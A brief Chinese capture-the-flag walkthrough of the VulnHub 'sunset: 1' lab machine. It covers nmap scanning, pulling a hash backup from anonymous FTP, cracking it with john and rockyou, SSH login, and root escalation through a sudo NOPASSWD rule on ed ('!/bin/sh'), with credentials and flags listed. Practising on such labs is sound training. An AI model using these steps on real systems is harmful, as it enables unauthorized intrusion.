PJzhang:vulnhub靶机sunset系列SUNSET: 1

猫宁~~~

 

地址：http://www.vulnhub.com/entry/sunset-1,339/

重点关注工具使用和测试思路

nmap 192.168.43.0/24

靶机IP
192.168.43.73

nmap -A -p1-65535 192.168.43.73

21/tcp open ftp
22/tcp open ssh

存在匿名查看的文件
ftp://192.168.43.73/backup

解压rockyou.txt字典

tar -zxvf /usr/share/wordlists/rockyou.txt.gz

wget ftp://192.168.43.73/backup

识别加密类型
john backup --wordlist=/usr/share/wordlists/rockyou.txt

破解
john --format=sha512crypt backup --wordlist=/usr/share/wordlists/rockyou.txt

得到账号密码sunset/cheer14

ssh连接成功
ssh sunset@192.168.43.73

家目录下发现user.txt，内容5b5b8e9b01ef27a1cc0a2d5fa87d7190

sudo -l，发现(root) NOPASSWD: /usr/bin/ed

sudo /usr/bin/ed，输入!/bin/sh，进入root权限

cd ~，cat flag.txt，得到25d7ce0ee3cbf71efbac61f85d0c14fe